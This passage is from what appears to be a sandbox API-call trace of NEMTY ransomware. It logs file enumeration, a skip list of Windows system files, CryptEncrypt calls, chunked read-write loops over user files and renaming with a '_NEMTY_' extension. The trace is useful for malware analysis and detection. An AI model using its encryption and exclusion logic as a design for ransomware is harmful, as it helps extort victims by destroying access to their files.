lpOverlapped=0x0) returned 0 [0056.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.483] CloseHandle (hObject=0xffffffff) returned 0 [0056.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0056.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0056.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0056.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.484] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png._nemty_kgobjgd_")) returned 0 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.484] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2=".") returned 1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="..") returned 1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="...") returned 1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="windows") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="$RECYCLE.BIN") returned 1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="rsa") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="NTDETECT.COM") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="ntldr") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="MSDOS.SYS") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="IO.SYS") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="boot.ini") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="boot.ini") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="ntuser.dat") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="desktop.ini") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="CONFIG.SYS") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="RECYCLER") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="BOOTSECT.BAK") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="bootmgr") returned -1 [0056.484] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="programdata") returned -1 [0056.485] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="appdata") returned 1 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_matte2.wmv", lpUsedDefaultChar=0x0) returned 25 [0056.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_matte2.wmv", lpUsedDefaultChar=0x0) returned 25 [0056.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0056.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_matte2.wmv", lpUsedDefaultChar=0x0) returned 25 [0056.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bear_formatted_matte2.wmv", lpUsedDefaultChar=0x0) returned 25 [0056.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0056.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0056.485] Sleep (dwMilliseconds=0x5) [0056.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5509790, dwHighDateTime=0x1d561e7)) [0056.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5509790, dwHighDateTime=0x1d561e7)) [0056.487] GetLastError () returned 0x5 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.487] GetLastError () returned 0x5 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.487] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.487] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.487] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0056.487] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="vvC7jaxd7S/PuGEOMy8O8v9DFmYrv04WSTHWC9krf1UGgLy1tMyhVFYapqMRzMKL\r\nlKZZOICvks3ZW0b2QsSDtOqQqnRqzX+i95QC1YLen7NXt0g8EZSz4qb9TbT5b0pa\r\n/bE93sTnCXOpj5365jAP+5uZalbQkpcOQJURgS/NUlAzM5fwQWYAcQOE5OOjzL/E\r\nqUA7FGhp6bEmllSoA5nRQjGmEM2HDLIYVt/uey2H6fd0uWGY56LjfjqKFlUiHDh+\r\nnulZu50n/F5JKWQlGWNwEznPR03Xhyvg1fuD+qfFob3QWiS28uAN51InYeGwRvzS\r\nH+q8SUMZLR6v7+vg1WN+Zg==\r\n", pcchString=0x653e91c) returned 1 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0056.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0056.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0056.487] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.488] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0056.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, 